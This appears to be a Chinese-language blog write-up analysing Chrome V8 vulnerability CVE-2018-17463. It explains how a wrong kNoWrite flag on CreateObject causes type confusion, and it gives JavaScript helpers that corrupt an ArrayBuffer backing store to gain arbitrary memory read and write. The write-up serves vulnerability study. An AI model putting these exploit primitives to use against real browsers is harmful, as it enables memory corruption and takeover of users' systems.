Chrome Js engine attack analysis

learning for js engine vulnerabilities

Chrome引擎漏洞分析及利用

漏洞编号:CVE-2018-17463,在chrome 70版本中被patch,测试版本为69.0.3497.42 beta版,涉及的一些前置知识可以参考V8的内存布局和官方文档

漏洞介绍

V8的IR层操作有很多的flag,其中有一个flag叫做kNowrite,从简单的语义分析来看表示的就是没有进行写操作,事实上代表的意思就是拥有这个flag的操作不会修改原有的属性,那么也就是说js engine推测含有这个flag的操作是可以进行一些深度优化的,比如说去掉它的类型检查:

1
2
3
4
#define CACHED_OP_LIST(V)                                            
...
V(CreateObject, Operator::kNoWrite, 1, 1)
...

但是事实并非如此,通过跟踪这个的底层调用我们可以发现一些问题,在JSCreateObject函数中,通过跟踪调用可以发现最后调到了一个名为 JSObject::OptimizeAsPrototype的函数上面,而这个函数可能会修改对象原型,了解JS的可以知道所谓的原型代表的其实是一种类似类的继承关系,也就是说这个操作会修改对象的类型,也就是Map属性,通过runtime func也可以确定(%DebugPrint)

1
2
3
o.inline;
Object.create(o);
//经过create之后o的map会变,并且从FastProperties变成DictionaryProperties

这样一来对象o的内存属性布局也会随之改变,如果经过了优化之后的代码去掉了checkMap节点的话,那么之后对于对象属性的访问就会按照之前的内存布局进行访问,举一个很简单的例子,可能在FastProperties的时候想要访问属性编译成机器码之后如下所示:

1
2
3
4
;js code : return o.b
r1 = Load [o + 0x8]
r2 = Load [r1 + 0x10]
Return r2

但是此时作为DictionaryProperties的内存布局在对应偏移的位置就可能不是原来的数据了,而是其他未知的数据,在分析create操作前后的内存布局我们可以发现一个奇怪的事情:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
o.p0 = 0; o.p1 = 1; o.p2 = 2; o.p3 = 3; o.p4 = 4;
o.p5 = 5; o.p6 = 6; o.p7 = 7; o.p8 = 8; o.p9 = 9;
0x0000130c92483e89 0x0000130c92483bb1
0x0000000c00000000 0x0000006500000000
0x0000000000000000 0x0000000b00000000
0x0000000100000000 0x0000000000000000
0x0000000200000000 0x0000002000000000
0x0000000300000000 0x0000000c00000000
0x0000000400000000 0x0000000000000000
0x0000000500000000 0x0000130ce98a4341
0x0000000600000000 overlap 0x0000000200000000
0x0000000700000000 0x000004c000000000
0x0000000800000000 0x0000130c924826f1
0x0000000900000000 0x0000130c924826f1

那就是o.p6o.p2这两个属性经过转换之后发生了重叠,这意味着我们在优化去掉了checkMap节点之后访问o.p6,实际上返回的是o.p2的值。

稍微对于V8的一些机制有了解的话就知道DictionaryMode是通过hashfunc来计算地址的,所以这个overlap是哈希之后的结果,而这个哈希计算的方式是进程独立的,也就是我们每个进程都有着不同的哈希计算方式,这也就意味着我们如果找到了这个overlap,之后就可以通过修改o.p2来做到很多事情,比如说在o.p2放置一个对象,那么返回的就是这个对象的地址了。

任意地址读写

这里的任意地址读写用的是两个ArrayBuffer,首先来看看普通对象和ArrayBuffer内存布局的对比:

上面的是ArrayBuffer,下面是普通对象,可以看到backing_store的偏移应该是对应的是普通对象的第二个inline属性的偏移,所以如果我们在触发漏洞后,将对象的第二个对象内属性修改,就可以把这个backing_store的值给修改,如果我们修改为指向另一个ArrayBuffer,形成如下的结构:

1
2
3
4
5
6
7
8
9
10
+-----------------+           +-----------------+
| ArrayBuffer 1 | +---->| ArrayBuffer 2 |
| | | | |
| map | | | map |
| properties | | | properties |
| elements | | | elements |
| byteLength | | | byteLength |
| backingStore --+-----+ | backingStore |
| flags | | flags |
+-----------------+ +-----------------+

那么我们用第一个ArrayBuffer来new一个BigUint64的数组,这个数组的地址事实上是ArrayBuffer的数据,也就是backing_store指向的ArrayBuffer2,我们将数组的第五个元素,也就是backing_store进行任意的设置可以指向任意的地址,然后切换到ArrayBuffer2进行操作,再用ArrayBuffer2来new一个新的数组,这个时候我们对数组进行的任何操作都是我们对于那个地址的任何操作,也就是所谓的任意地址读写了,稍微封装一下如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//driver是ArrayBuffer2 
let memory = {
//任意地址写就是setvalue
write(addr, bytes) {
driver[4] = addr;
let memview = new Uint8Array(memViewBuf);
memview.set(bytes);
},
//任意地址读就是返回数组的值
read(addr, len) {
driver[4] = addr;
let memview = new Uint8Array(memViewBuf);
return memview.subarray(0, len);
},
read64(addr) {
driver[4] = addr;
let memview = new BigUint64Array(memViewBuf);
return memview[0];
},
write64(addr, ptr) {
driver[4] = addr;
let memview = new BigUint64Array(memViewBuf);
memview[0] = ptr;
}
};

这里只用一个ArrayBuffer行不行呢?其实也是可以的,只不过每一次修改都用通过优化并触发漏洞来overlapbacking_store,而两个ArrayBuffer就只需要触发一次,可以节省很多开销并更加稳定

最后来看一下任意地址读的效果图,是在macOS上测试的:

之后的工作还有待完善,可以完全控制浏览器的控制流

Link

phrack

saleo

js engine